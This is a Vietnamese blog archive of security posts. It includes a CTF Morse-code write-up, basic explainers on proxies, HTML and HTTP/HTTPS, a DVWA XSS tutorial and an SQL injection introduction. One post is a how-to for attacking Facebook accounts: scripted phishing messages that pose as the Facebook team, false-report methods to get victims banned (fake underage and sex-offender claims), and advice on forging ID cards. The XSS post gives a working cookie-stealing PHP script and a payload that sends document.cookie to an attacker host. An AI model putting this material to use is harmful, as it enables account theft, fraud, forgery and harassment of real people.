Thứ Bảy, 7 tháng 11, 2015

Writeup CTF ATTT 2015 Misc 100 Quảng Ngãi : Hidden


Ban tổ chức cho down source tại http://119.15.167.211/static/materials/misc100.html_659ff899f5bb31242424b127aafb9a35
 khi đó được 1 file html
chạy html này ta thấy xuất hiện dấu . và - khác thường.

thử search google tên "The Many Maxims of Maximally Effective CTFs" thì có một bài y hệt trên google vậy link "http://captf.com/maxims.html"   ta copy về và so sánh giữa 2 file .
ở đây mình sử dụng công cụ compare thấy có sự khác nhau, mình copy những ký tự khác ra text.


và khi check hết mình được một dạng mã hóa
... ...- .- - - - -- -----  .-. ... ...--
do đã làm dạng mã hóa này nên nhận biết ngay đây là mã morse  mang tool onl ra decode
được SVATTTM0RS3
do flag Ban tổ chức đưa ra là SVATTT_xxx
SVATTT_M0RS3   -->> congration

Thứ Bảy, 10 tháng 10, 2015

PROXY

Chắc hẳn rất nhiều người đã nghe đến từ Proxy, hay Server Proxy, hoặc Proxy Server! Vậy các bạn có biết chính xác nó là gì không? Trong bài viết dưới đây, Mình  sẽ giới thiệu với các bạn khái niệm cơ bản về Proxy này nhé!
1. Proxy là gì?
Proxy, Server Proxy hay Proxy Server (cũng là 1), chúng ta có thể hiểu nôm na là 1 chiếc máy tính khác có nhiệm vụ xử lý dữ liệu, giống như 1 bộ chuyển đổi thông tin của tín hiệu Internet. Bằng việc kết nối qua 1 hoặc nhiều những chiếc server như trên, ban đầu máy tính của người dùng - bạn sẽ gửi đi những tín hiệu yêu cầu - request qua proxy server, tại đây những thông tin đó sẽ được xử lý và trả lại những gì bạn thấy mỗi khi truy cập vào Internet.
·        -  Các cách truy cập Facebook cũng như website bị chặn qua Proxy.
Mô hình proxy
Theo cách hiểu này, thì Proxy đóng vai trò trung gian giữa chiếc máy tính bạn đang sử dụng với toàn bộ môi trường Internet bên ngoài. Bên cạnh đó, Proxy còn được dùng để lọc, ngăn chặn các website, hoặc chính xác hơn là những nội dung website tùy theo nhu cầu của chính phú, các nhà cung cấp dịch vụ...

2. Tại sao lại phải dùng Proxy?
Các bạn hãy thử tưởng tượng thế này nhé:

-         Nếu muốn lướt web mà không ai biết đến bạn là ai, ko ai biết địa chỉ IP... hoặc nói ngắn gọn là ẩn danh trên môi trường Internet thì sẽ phải cần dùng đến Proxy. Bằng việc kết nối qua Proxy, thì địa chỉ IP thực của bạn sẽ được mã hóa, mà thay vào đó là địa chỉ của Proxy. Cách làm này sẽ giúp bạn ẩn náu dễ dàng hơn trên môi trường ảo, nhưng bù lại tốc độ kết nối sẽ không ổn định nếu so sánh với việc kết nối trực tiếp (có thể nhanh hoặc chậm hơn).
-         Hiện tại có rất, rất nhiều Proxy trên mạng mà các bạn có thể sử dụng, chỉ cần search là ra rất nhiều kết quả:
Ví dụ, search "Proxy List" với bất kỳ Search Engine nào bạn cũng sẽ nhận được rất nhiều kết quả
- Có nhiều loại Proxy, miễn phí và trả phí, thật có và lừa đảo cũng có. Cho nên các bạn hãy chú ý chọn các trang rate có uy tín, nhiều người review... thì hãy nên sử dụng.
3. Thiết lập Proxy? Cách dùng Proxy như thế nào?
Với Internet Explorer:
Chọn Tools > Internet Options > tab Connections > LAN Settings > đánh dấu vào ô Use a proxy server for your LAN. Nhập địa chỉ IP của Proxy vào, điền Port rồi nhấn OK.
Với Mozilla Firefox:
Nhấn nút Firefox (góc trên bên trái) hoặc Tools > Options > tab Advanced > Network > phần Connection > Settings > Manual proxy configuration. Tương tự như trên, nhập địa chỉ và port của Proxy vào rồi nhấn OK.
Với Google Chrome - Cốc Cốc:
Thực ra trình duyệt dùng Proxy của hệ thống, nên các bạn chỉ cần chỉnh Proxy của IE là được.
Hy vọng những thông tin trên có thể giúp các bạn phần nào hiểu được bản chất của Proxy trong quá trình sử dụng Internet. Chúc các bạn thành công!

Thứ Hai, 24 tháng 8, 2015

HTML

Chào mừng bạn đến với thế giới HTML, và đây cũng là phần mở đầu để bạn biết rõ HTML là gì và nó được ứng dụng ra sao, hiểu được vì sao nó lại quan trọng dù bạn là người làm website chuyên nghiệp hay nghiệp dư đều phải biết qua nó. Thậm chí những người làm công việc không mấy liên quan như Biên tập viên cũng cần nên biết HTML, tại sao ư? Hồi sau sẽ rõ.

HTML là gì?
HTML là chữ viết tắt của cụm từ HyperText Markup Language1) (dịch là Ngôn ngữ đánh dấu siêu văn bản) được sử dụng để tạo một trang web, trên một website có thể sẽ chứa nhiều trang và mỗi trang được quy ra là một tài liệu HTML (thi thoảng mình sẽ ghi là một tập tin HTML). Cha đẻ của HTML là Tim Berners-Lee, cũng là người khai sinh ra World Wide Web và chủ tịch của World Wide Web Consortium (W3C – tổ chức thiết lập ra các chuẩn trên môi trường Internet).
Một tài liệu HTML được hình thành bởi các phần tử HTML (HTML Elements) được quy định bằng các cặp thẻ (tag), các cặp thẻ này được bao bọc bởi một dấu ngoặc ngọn (ví dụ <html>) và thường là sẽ được khai báo thành một cặp, bao gồm thẻ mở và thẻ đóng (ví <strong> dụ </strong> và ). Các văn bản muốn được đánh dấu bằng HTML sẽ được khai báo bên trong cặp thẻ (ví dụ <strong>Đây là chữ in đậm</strong>). Nhưng một số thẻ đặc biệt lại không có thẻ đóng và dữ liệu được khai báo sẽ nằm trong các thuộc tính (ví dụ như thẻ<img>).
Một tập tin HTML sẽ bao gồm các phần tử HTML và được lưu lại dưới đuôi mở rộng là .html hoặc .htm.
HTML được xử lý ra sao?
Khi một tập tin HTML được hình thành, việc xử lý nó sẽ do trình duyệt web đảm nhận. Trình duyệt sẽ đóng vai trò đọc hiểu nội dung HTML từ các thẻ bên trong và sẽ chuyển sang dạng văn bản đã được đánh dấu để đọc, nghe hoặc hiểu (do các bot máy tính hiểu).
Để kiểm tra, bạn có thể sử dụng khung nội dung bên dưới và chuyển qua lại giữa phần HTML và Result để xem kết quả của một tập tin HTML sau khi được xử lý.

Cấu trúc một đoạn HTML
Như mình đã nói ở trên, HTML sẽ được khai báo bằng các phần tử bởi các từ khóa. Nội dung nằm bên trong cặp từ khóa sẽ là nội dung bạn cần định dạng với HTML. Ví dụ dưới đây là một đoạn HTML khai báo một đoạn văn bản.
01<p>Đây là một đoạn văn bản trong HTML.</p>
Ngoài ra, trong các thẻ còn có các thuộc tính, thuộc tính sẽ đặt bên trong thẻ mở đầu, mỗi thuộc tính sẽ có giá trị được đặt trong dấu ngoặc kép và cách nhau bởi dấu bằng (=) với tên thuộc tính. Ví dụ dưới đây là một thẻ có sử dụng thuộc tính-
01<form action="http://thachpham.com"> </form>
Một thẻ có thể sử dụng nhiều thuộc tính chứ không phải chỉ một thuộc tính nhé.

Dùng chương trình gì để tạo tập tin HTML?

HTML là một tập tin siêu văn bản nên bạn có thể dùng các chương trình soạn thảo văn bản không có chức năng định dạng văn bản để tạo ra một tập tin HTML. Trong Windows, bạn có thể dùng Notepad để tạo ra một tập tin HTML, còn trên Mac thì có thể dùng TextEdit và Vim trên các hệ điều hành Linux khác. Miễn là sau đó bạn phải lưu tập tin thành đuôi .html và sử dụng trình duyệt website để đọc nó.
HTML có thể được soạn thảo bởi bất kỳ một trình soạn thảo văn bản đơn giản.HTML có thể được soạn thảo bởi bất kỳ một trình soạn thảo văn bản đơn giản.
Tuy nhiên Notepad lại quá đơn giản để sử dụng cho mục đích soạn thảo, nên từ các bài sau chúng ta sẽ dùng một chương trình khác tương tự để soạn thảo HTML. Và mình cũng không bao giờ khuyến khích bạn sửa một tập tin HTML bất kỳ bằng chương trinh Notepad để tránh gặp các lỗi hiển thị ký tự tiếng Việt.

HTML đóng vai trò gì trong website?

Như mình đã nói, HTML là một ngôn ngữ đánh dấu siêu văn bản nên nó sẽ có vai trò xây dựng cấu trúc siêu văn bản trên một website, hoặc khai báo các tập tin kỹ thuật số (media) như hình ảnh, video, nhạc.
Vai trò của từng ngôn ngữ trong websiteVai trò của từng ngôn ngữ trong website
Điều đó không có nghĩa là chỉ sử dụng HTML để tạo ra một website mà HTML chỉ đóng một vai trò hình thành trên website. Ví dụ một website như Thachpham.com sẽ được hình thành bởi:
         HTML – Xây dựng cấu trúc và định dạng các siêu văn bản.
         CSS – Định dạng các siêu văn bản dạng thô tạo ra từ HTML thành một bố cục website, có màu sắc, ảnh nền,….
         Javascript – Tạo ra các sự kiện tương tác với hành vi của người dùng (ví dụ nhấp vào ảnh trên nó sẽ có hiệu ứng phóng to).
         PHP – Ngôn ngữ lập trình để xử lý và trao đổi dữ liệu giữa máy chủ đến trình duyệt (ví dụ như các bài viết sẽ được lưu trong máy chủ).
         MySQL – Hệ quản trị cơ sở dữ liệu truy vấn có cấu trúc (SQL – ví dụ như các bài viết sẽ được lưu lại với dạng dữ liệu SQL).
Nhưng ở đây, tạm thời bạn chỉ cần quan tâm đến HTML mà thôi. Dễ hiểu hơn, bạn hãy nghĩ rằng nếu website là một cơ thể hoàn chỉnh thì HTML chính là bộ xương của cơ thể đó, nó như là một cái khung sườn vậy.
Như vậy, dù website thuộc thể loại nào, giao tiếp với ngôn ngữ lập trình nào để xử lý dữ liệu thì vẫn phải cần HTML để hiển thị nội dung ra cho người truy cập xem.
Nhân tiện đây mình cũng nói luôn, website có hai loại chính:
         Website tĩnh (static web) – Là một website không giao tiếp với máy chủ web để gửi nhận dữ liệu mà chỉ có các dữ liệu được khai báo sẵn bằng HTML và trình duyệt đọc.
         Website động (dynamic web) – Là một website sẽ giao tiếp với một máy chủ để gửi nhận dữ liệu, các dữ liệu đó sẽ gửi ra ngoài cho người dùng bằng văn bản HTML và trình duyệt sẽ hiển thị nó. Để một website có thể giao tiếp với máy chủ web thì sẽ dùng một số ngôn ngữ lập trình dạng server-side như PHP, ASP.NET, Ruby,..để thực hiện. Ví dụ như một website làm bằng WordPress là website động.

Thứ Tư, 12 tháng 8, 2015

Tổng hợp tấn công và bảo vệ tài khoản trên fb

<!--Facebook Hacking-->
// Bài viết tổng hợp trên kinh nghiệm cá nhân và từ nhiều nguồn. ACE tham khảo và đóng góp thêm Smile

*Khái niệm cơ bản.
1. Check: kiểm tra tài khoản cần tấn công(victim). ( tên, ngày tháng năm sinh, quê quán, id đăng nhập,..và nhiều thứ ta cần biết về victim).
2. R.I.P nick: làm cho nick bị khóa hoặc chết qeo không mở được luôn. :v
3. F.A.Q: hay nói theo tiếng việt nam là nick bị vô hiệu hóa.
4. Report: báo cáo 1 ai đó sai phạm hoặc muốn r.i.p ai đó.
5. Unlock: mở khóa nick. mở faq. Smile
mà thoi, vậy châc đủ để hiểu rồi ^^

*Đánh cắp mật khẩu
Theo bản thân mình (Sector404vn) thì gồm có các cách sau: phishing login facebook ( giả mạo trang đăng nhập FB), 
bruteforce password ( đoán từng mật khẩu), 
social engineering (kỹ năng xã hội, lừa gạt, dụ dỗ victim).
Mình không nói đến cách dùng keylog, trojan...hay bất kỳ malware nào để đánh cắp vì lỡ victim không dùng pc, mà dùng phone như nokia để online thì sao =]].

Ở bài viết này, sectot404vn sẽ nói rõ hơn về cách cuối. vì 2 cách kia đã có google nói giúp rồi. Smile)

-hướng dẫn tạo trang phishing facebook:
http://www.google.com.vn/search?q=huong dan tao trang phishing facebook

-code python brute force password facebook:
http://www.google.com/m?q=code python brute force password facebook

http://mastermehar.blogspot.in/2014/06/h...force.html

ok, google dịch nếu không rành tiếng anh, Smile
Social engineering ở đây là gì?
Sector404vn đã từng kết hợp thành công cách này
với trang giả login Fb. 
ờm, vd attack 1 nick:
-> đã add friend: tốt quá, inbox victim và dụ nó click vào link trang lừa đảo.
->chưa add friend: cần tìm ra số điện thoại, mail, forum victim hay lui tới hay bất kỳ cách nào có thể "nói chuyện được", sau đó pm ngay và dụ.
Ơ thế dụ sao?
tất nhiên là ta đã tạo ra trang phishing,!
vd về 1 cuộc trò chuyện:
attacker: chào bạn Xxx ( tên fb kèm tên thật càng tốt)
tài khoản facebook của bạn đang gặp 1 số vấn đề, chúng tôi có thể xóa tài khoản của bạn nếu bạn không xác minh trong 24h tới.
để xác minh những thông tin trên là sai. truy cập http://...link của mình
Fb team. thân!
// hoặc là vấn đề về hack like, sub,...

-> nếu victim reply tin nhắn mà có vẻ nai nai tơ thì sắp ăn rồi, việc còn lại là dẫn dụ họ vào link của các bạn.
->nếu victim ko reply hoặc rành về công nghệ thông tin thì chuyển sang đoán pass thần chưởng ( cách 2 ở trên) :v
=> những cách này giúp bạn lấy password của họ mà họ sẽ không hay biết. phần sau sẽ là rip nick, hoặc đánh cắp mật khẩu bằng cách thay đổi mật khẩu cũ.

*R.I.P
//làm vào lúc tối khuya để nhanh thành công vì giờ đó fb team mới dậy làm việc (bên mỹ mà ).
gồm có: 
->rip nick 13 tuổi:
Tải: https://chrome.google.com/webstore/detai...bamcagfhlo
Vào link trên cài Manual Geolocation vào Chrome . Cài xong click vào icon Manual gõ ” New Zeland ” rồi ấn Search
Vào: https://chrome.google.com/webstore/detai...hfjgkhfcgf
Ấn miễn phí, chọn ok nhấp vô icon chọn iphone
Làm theo bên dưới
Bước 1: Bạn đăng nhập vào tài khoản
Bước 2: Bạn truy cập vào địa chỉ facebook này, để báo cáo sai phạm:
https://www.facebook.com/help/contact/209046679279097
nhấn F5 cái đã ^^
Bước 3: Lúc này sẽ fb hiện ra xuất hiện 4 ô trống.
– Ô thứ nhất: Copy vs Dán địa chỉ người cần Report
–Ô thứ hai: Viết tên người cần Report
– Ô thứ ba: Click chọn 9 năm…
– Ô thứ tư: Bạn dán dòng chữ này vào:” I think this child do not old to use Facebook, thanks you. ”
Bước 4: Bạn bấm gửi…Thế là xong !!!

-> rip 14 tuổi
Đầu tiên các bạn vào link sau:
https://www.facebook.com/help/contact/1408156889442791
Nó sẽ hiện ra 4 dòng như sau
Dòng 1 : Copy vs Dán địa chỉ người cần Report
Dòng 2 : Viết tên người cần Report
Dòng 3 : Chỉnh Thành 11 Tuổi
Dòng 4 : Coppy lại đoạn này và past vào
– Hi Facebook Team
– That child did wrong year of Birth To sign up for Facebook
– I request Facebook Team delete that account as terms Facebook set out, 
– Thank you Facebook team
Xong rồi nhấn gửi……!
Nhớ fake ip sang ko ré à để thàng.công cao nha Smile

->rip giả mạo
Chuẩn bị 1, 2 acc lập trước năm 2007, hay 2008 cũng được, miễn trước nick cần report.
Vào đổi avt cover giống acc nạn nhân.
Vào wall nạn nhân => nhấp dấu 3 chấm=> báo cáo/chặn => Tích chọn gửi báo cáo => Tích “báo cáo sai phạm tài khoản của .. ” => ấn xác nhận => Tích “dòng thừoi gian này đang mạo danh tôi hoặc người tôi biết ..” => chọn “giả vờ là tôi ”=> nhấp tiếp tục =>tích ô gửi báo cáo => chọn tiếp tục => Chọn đồng ý

-> rip lừa tình
Cách rip này có lẽ ít người biết đến..
Cách này là nạn nhân tự giết mình.
Chỉ mấy thèn ngu và kém hiểu biết mới die thôi.
Đầu tiên Đăng stt y như thế này luôn nhé:
” Hướng dẫn chống nạn report hoặc bị rip 13t, 14t, tình dục.
Phương pháp fake ngày sinh (PP An toàn và dễ sử dụng nhất)
Vào links: https://www.facebook.com/help/contact/233841356784195
Chọn ngày , tháng, bất kỳ
Riêng năm chọn 2002 (Phải chọn năm 2002)
Lí do : Năm thật của tôi, Facebook team hãy xác nhận
Nhấn nút Gửi
Sau 3 phút F5 thì Fake ngày sinh đã thành công Ngày sinh của bạn sẽ được fake và chống được nạn report ngày càng gia tăng
Share cho nhau để cùng mọi người chốngnạn report ngày càng tăng. ”Cách trên là giết acc hàng loạt.Hoặc bạn có thể inbox gửi cho 1 ng nào đó. Dụ sao để nạn nhân làm như trên là ok".
Cách trên là khi nạn nhân chọn năm 2002 xong gửi đi thì facebook sẽ xóa ngay fb của nạn nhân. Vì tự mình xác nhận là chưa đủ tuổi dùng fb. =]]

->rip người chết
Vào đây. https://www.facebook.com/help/contact/191122007680088
điền tên nick, link profile của victim, kết bạn với victim càng tốt. 

->rip bằng số đông
chuẩn bị khoản 20 nick, hoặc nhờ 20 thằng bạn, cứ cách 30 phút lại vào nick victim report 1 lần, cho dù tài khoản có tốt mà bị report bởi nhiều người khác nhau với nhiều ip khác nhau thì cũng sớm die thôi. hehe Smile)
"Vào wall nạn nhân, nhấp vào cái ô có 3 chấm ... xong chọn : Báo cáo/chặn => gửi báo cáo => tích vào ô : Báo cáo sai phạm tài khoản của ... =>Xác nhận=> chọn Nhật kí này chứa toàn nội dung không phù hợp=> Tích ô : Tình dục => tiếp tục => Tích ô gửi báo cáo !"

->rip qua websex 
Vào https://www.facebook.com/help/contact/207005222725325
– Địa chỉ email của bạn: điền mail mình vô
– Full name of the person you’d like to report: điền tên tài khoản cần RIP ( full name trên info )
– Web address (URL) of the Timeline you’d like to report ( copy URL victim bỏ vô )
– State, province or country in which thisperson was convicted –> việt nam )
– Do you have documentation? Please note that we require documentation verifying this user as a convicted sex offender (ex: a listing in a national sex offender registry, a court document, or an online news article). ( yes)
What is the type of documentation you’d like to submit?
Link to the national or state sex offender registry
Link to a court document or court records
Link to a news article Link to a third party website that hosts publicly available information (ex: arrest or charge details)
—> ( chọn Link to a news article )
Nó sẽ ra: Web address (URL) verifying the user’s status as a convicted sex offender ( kiếm đại 1 bài báo nào trên pháp luật hay zing…. về hiếp dâm…)
Additional relevant information Ex: Is thisperson using a fake name? ( viết : This is person using a fake name )

->rip log out
https://vi-vn.facebook.com/help/contact/237843336274237 
thay 1 cái cmnd ko khớp tên 24h sau nick bị đình chỉ login..

=> chỉ biết nhiêu này, 1 phần có coppy, bác nào biết thêm thì inbox để mình cập nhật thêm nha.

*Unlock, mở khóa rip, FAQ, bảo vệ tài khoản.
Nên up cmnd trùng tên fb. hoặc photoshop tên trong cmnd trùng tên facebook. (google tìm phôi cmnd trắng mà làm). 
google dùm nè:
http://www.google.com/m?q=huong dan fake cmnd doi ten fb

link up cmnd kèm đổi tên: 
https://www.facebook.com/help/contact/245617802141709

Sau nhiều lần điền form và gửi hình chụp CMND và bằng lái xe ko đc nó phản hồi, chủ động gửi email và ảnh cmnd đến địa chỉ:
gnqxifr.aeaqxnp7lewqg@support.facebook.com
có thể sẽ ok. 

Vì giới hạn bài viết nên tạm thời thế đã, có điều kiện mình sẽ up thêm về mở khóa rip 13, 14 tuổi, mở Faq..

End!

nguồn <Sector404vn>

Thứ Tư, 5 tháng 8, 2015

HTTP, HTTPS là gì?

HTTP Ở KHẮP MỌI NƠI, VẬY HTTP LÀ GÌ?
Với những người thường xuyên sử dụng internet, cụm từ HTTP có lẽ đã trở nên quá quen thuộc. Nó quen thuộc đến nỗi nhiều người thường xuyên đọc và sử dụng chúng nhưng lại không hề biết đến ý nghĩa của cụm từ này. Vậy HTTP kỳ thực là gì?
HTTP là chữ viết tắt của HyperText Transfer Protocol (giao thức truyền tải siêu văn bản). Đây là một giao thức ứng dụng trong bộ các giao thức TCP/IP (gồm một nhóm các giao thức nền tảng cho internet).
HTTP hoạt động dựa trên mô hình Client – Server. Trong mô hình này, các máy tính của người dùng sẽ đóng vai trò làm máy khách (Client). Sau một thao tác nào đó của người dùng, các máy khách sẽ gửi yêu cầu đến máy chủ (Server) và chờ đợi câu trả lời từ những máy chủ này. Để có thể nói chuyện được với nhau, các máy chủ và máy khách phải thực hiện việc trao đổi thông qua các giao thức. Một trong những giao thức được sử dụng thường xuyên nhất chính là HTTP.
HTTP là chữ viết tắt của HyperText Transfer Protocol (giao thức truyền tải siêu văn bản). Đây là một giao thức ứng dụng trong bộ các giao thức TCP/IP (gồm một nhóm các giao thức nền tảng cho internet).
Khi bạn gõ một địa chỉ Web URL vào trình duyệt Web, một lệnh HTTP sẽ được gửi tới Web server để ra lệnh và hướng dẫn nó tìm đúng trang Web được yêu cầu. Trang Web này sau đó sẽ được kéo về và mở trên trình duyệt Web. Nói đơn giản hơn, HTTP là giao thức giúp cho việc truyền tải file từ một Web server vào một trình duyệt Web để người dùng có thể xem một trang Web đang hiện diện trên trình duyệt.
ẨN HỌA TỪ HTTP VÀ SỰ CẦN THIẾT CỦA HTTPS
Được sử dụng một cách rộng rãi là vậy nhưng HTTP chứa đựng trong nó không ít những điểm hạn chế. Khi bạn tiến hành thực hiện việc truy nhập vào một trang Web thông qua giao thức HTTP, trình duyệt sẽ thực hiện các phiên kết nối đến Server của trang Web đó thông qua địa chỉ IP do hệ thống phân giải tên miền DNS cung cấp.
Trong quá trình kết nối và trao đổi thông tin, trình duyệt của bạn sẽ mặc nhiên thừa nhận địa chỉ IP đó đến từ Server của chính Website mà bạn muốn truy nhập mà không hề có biện pháp xác thực nào. Các thông tin được chuyển đi qua giao thức HTTP (bao gồm địa chỉ IP của bạn, các thông tin mà bạn nhập liệu trên Website…) cũng không hề được mã hóa và bảo mật.
Điều này dẫn đến những nguy cơ về việc phiên kết nối của bạn tới máy chủ của Website có thể bị “nghe lén”, hoặc việc truy nhập của bạn bị chuyển hướng đến một trang Web giả danh với thiết kế giống hệt Website gốc mà người sử dụng không hề hay biết.

Ăn cắp thông tin đã trở thành một nỗi lo sợ chung với người dùng internet (Ảnh: Internet)
Nếu bạn thường xuyên sử dụng các dịch vụ ngân hàng trực tuyến, bạn sẽ thấy khi truy nhập vào địa chỉ tên miền của ngân hàng, giao thức mà nó sử dụng sẽ là HTTPS thay vì HTTP như ở những trang web thông thường. Điều này là bởi, phiên bản nâng cấp HTTPS của HTTP được sử dụng nhằm tăng cường khả năng bảo mật thông tin sau mỗi lần truy nhập.
HTTPS là tên viết tắt của "Hypertext Transfer Protocol Secure". Đây là một sự kết hợp giữa giao thức HTTP và giao thức bảo mật SSL hay TLS. HTTPS giúp cho việc trao đổi thông tin một cách bảo mật trên nền Internet.
Các trang giao dịch điện tử lớn như Paypal đều đang sử dụng giao thức HTTPS
Khác với HTTP, HTTPS sẽ hỗ trợ việc xác thực tính chính danh của các Website mà người dùng truy nhập thông qua việc kiểm tra xác thực bảo mật (security certificate). Các xác thực bảo mật này được cung cấp và xác minh bởi các CA (Certificate Authority) có uy tín. Với các xác thực từ CA, người sử dụng có thể biết rằng mình đã truy nhập đúng vào Website cần truy nhập chứ không phải một Website giả danh bất kỳ nào khác.
Bên cạnh đó, các phiên kết nối giữa trình duyệt của bạn đến Server đều sẽ được mã hóa. Điều này sẽ giúp che giấu địa chỉ IP của bạn và những thông tin nhập liệu về tài khoản của bạn trên Website khỏi sự nhòm ngó của các hacker. HTTPS không đem đến sự an toàn 100%. Tuy vậy, đây là biện pháp bảo mật hữu hiệu thay vì việc sử dụng giao thức HTTP truyền thống vốn đầy rủi ro sẵn có.
ĐIỀU NGƯỜI DÙNG INTERNET CẦN LƯU Ý
Rõ ràng việc sử dụng giao thức HTTPS giúp tăng cường khả năng bảo mật và phòng vệ đáng kể cho người dùng internet. Cũng chính bởi điều này, các hệ thống ngân hàng, tổ chức tín dụng… đều sử dụng giao thức HTTPS trên các Website của mình. Điều này cũng đã được sự hưởng ứng của cả Google và Facebook.
Với người dùng internet, điều mà bạn cần lưu ý khi truy nhập vào các hệ thống thanh toán điện tử hoặc các website yêu cầu việc nhập liệu những thông tin nhạy cảm về người dùng nằm ở chính giao thức mà Website đó sử dụng. Ở các doanh nghiệp hoặc các hệ thống thanh toán điện tử uy tín, việc sử dụng giao thức HTTPS gần như là một trong những yêu cầu bắt buộc đối với các doanh nghiệp này. Bởi vậy việc không sử dụng giao thức HTTPS đồng nghĩa với việc bạn phải xếp Website đó vào diện nghi vấn. Rất có thể, đây chỉ là một trang Web giả danh nhằm lấy đi thông tin về tài khoản của bạn.
Các Website giao dịch trực tuyến của các ngân hàng tại Việt Nam đều sử dụng giao thức HTTPS
Để kiểm tra một Website có sử dụng giao thức HTTPS hay không cũng vô cùng đơn giản. Các bạn chỉ cần để ý đến phần link đường dẫn khi truy nhập vào Website mở đầu bằng http:// hay https://. Bên cạnh đó, link đường dẫn của các Website có sử dụng giao thức HTTPS thường đi kèm với một biểu tượng nhỏ hình ổ khóa. Khi đưa con trỏ chuột hướng vào biểu tượng này, trên đó sẽ hiện ra tên của đơn vị xác thực (CA) như đã nói ở trên. Đây là dấu hiệu cho thấy Website mà bạn đang truy nhập không phải là giả mạo.
Chỉ như vậy thôi rõ ràng là chưa đủ cho việc đảm bảo an toàn thông tin trên internet. Tuy nhiên với những điều cơ bản này, các bạn cũng sẽ phần nào hiểu được cách thức mà các Website hoạt động và có cho mình những kinh nghiệm cơ bản nhất để tự bảo vệ chính bản thân mình.

Khai thác lỗ hổng XSS

Khai thác lỗ hổng XSS với Xenotix (DVWA)

Xenotix XSS Exploit Framework là một công cụ thử nghiệm xâm nhập để phát hiện và khai thác lỗ hổng XSS trong ứng dụng web. Công cụ này có thể tiêm các đoạn mã và một trang web mà nó có khả năng bị tổn thương tới lỗ hổng XSS. Nó là cơ bản là một danh sách các payload dựa trên các XSS Scanner và XSS Exploitation. Nó cung cấp cho người thử nghiệm xâm nhập khả năng để kiểm tra tất cả các XSS payloads có sẵn trong danh sách để tấn công ,ứng dụng web cho quá trình kiểm tra lỗ hổng XSS. Công cụ hỗ trợ cả chế độ tự động và chế độ bằng tay. XSS Exploit Framework bao gồm các công cụ XSS encoder, XSS keystroke logger, Executable Drive-by downloader, XSS Reverse Shell và XSS DDoSer.



****Dưới đây là cách khai thác lỗ hổng XSS (cơ bản).

**Phần 1:Test lỗi.
1.Đầu tiên ta cần cài đặt DVWA.Link hướng dẫn ở đây http://svuit.com/showthread.php?109-...-lab-with-DVWA.

2.Sau đó ta vào thư mục cài đặt DVWA

Tìm file .htaccess edit lai :

# Limit access to localhost
<Limit GET POST PUT>
order deny,allow
deny from all ---------> Sửa thành allow from all
allow from 127.0.0.1
</Limit>


3.Tìm file index.php theo đường dẫn sau: dvwa\vulnerabilities\xss-s\index.phptìm:

<div class=\"body_padded\"> -----> <textarea name=\"mtxMessage\" cols=\"50\" rows=\"3\" maxlength=\"50\"></textarea></td>

sửa maxlength từ 50 thành 200 như:

<textarea name=\"mtxMessage\" cols=\"50\" rows=\"3\" maxlength=\"200\"></textarea></td>

4.Vào web browser mở http://www.localhost/dvwa login vs username: admin password: password(mặc định nếu mốn ta có thể thay đổi sau).

5.Vào setup->Creat/reset database để tạo mới database nếu thành công thì sẽ có thông báo: database has been created....

6.Chỉnh DVWA security từ high xuống low.Đây là mức bảo mật thấp nhất.Ta nên bắt đầu từ đây.

7.Vào xss storage

8.Sử dụng một số đoạn script cơ bản để soát lỗi xss cho website:
<script>alert("XSS")</script>
<script>alert("XSS")</script>
<script>alert(String.fromCharCode(88,83,83)</script>
<script>alert("XSS")</script>
<script>alert(String.fromCharCode(88,83,83)</script>
<ScRIPt>aLeRT("XSS")</ScRIPt>
<ScRIPt><aLeRT(String.fromCharCode(88,83,83)</ScRIPt>
Sau khi phát hiên ra những lỗ hổng ta chuyển qua phần 2.

Phần 2.Sau khi phát hiện ra lỗi ta tấn công bang css

12*1.Tạo file cc.php để lấy cookies

Nội dung file cc.php nhu sau:
Code:
<?php
$cookie=$HTTP_GET_VAR["cookie"];  //Lấy cookie từ địa chỉ hiện tại và lưu trữ cookie trong biến $cookie
$steal=fopen("logs.txt","a");               //Mở cookiefile để đính kèm các cookie lấy được
fwrite($steal,$cookie."\n");                //Viết lại những cookie lấy được lưu trong file $steal
fclose($steal);                                 //Đóng lại cookiefiles.
?>
file này có nhiệm vụ lấy cookies và ghi thông tin lên file logs.txt

Sau đó tạo file logs.txt.
Lưu ý phải chmod file logs.text về 777

12*2.Up các file cc.php và logs.text lên host

(Lưu ý đây là host do attacker tạo ra. Các bạn có thể tạo host free trên trang www.000webhost.com)


12*3.Khai thác lỗ hổng css

Chèn đoạn script độc vào textbox rồi gửi đi.

Giả sử ta upload 2 file lên host của site có địa chỉ như sau: http://www.xss.com thì đoạn script có dạng như sau:
<script>location.href='http://www.xss.com/cc.php?cookie='+document.cookie;</script>
Chèn đoạn mã đó vào site dính lỗi xss.Khi admin view site thi cookie se duoc gui ve cho attacker.

Kiểm tra file log trên web.

Bước cuối cùng.Khai thác cookies lấy được.


Thứ Tư, 29 tháng 7, 2015

SQL injection

1 Giới thiệu về SQL Injection

1.1 Tầm quan trọng của các câu lệnh SQL đối với một hệ thống web
Cơ sở dữ liệu(database) được coi như là "trái tim" của hầu hết các website. Nó chứa đựng những dữ liệu cần thiết để website có thể chạy và lưu trữ các thông tin phát sinh trong quá trình chạy. Nó cũng lưu trữ những thông tin cá nhân , thẻ tín dụng , mật khẩu của khách hàng , của user và thậm chí là cả của Administrator. Để lấy các thông tin cần thiết từ cơ sở dữ liệu thì các câu lệnh SQL sẽ đảm đương trách nhiệm thực hiện các yêu cầu truy vấn được đưa ra từ phía người sử dụng: khi người dùng đăng nhập vào hệ thống, lấy một thông tin nào đó trên web,… đều cần sử dụng các câu lệnh SQL, hay nói cách khác, các câu lệnh SQL đóng một vai trò rất quan trọng đối với một hệ thống web.

1.2 Khái niệm về SQL Injection
SQL Injection là một kĩ thuật tấn công dựa vào các lỗ hổng lập trình ứng dụng, cụ thể là các ứng dụng có thao tác truy xuất cơ sở dữ liệu, để “tiêm”( inject) vào đó các câu truy vấn bất thường, nhằm đạt được một mục đích cụ thể nào đó như chiếm password, tạo backdoor,…
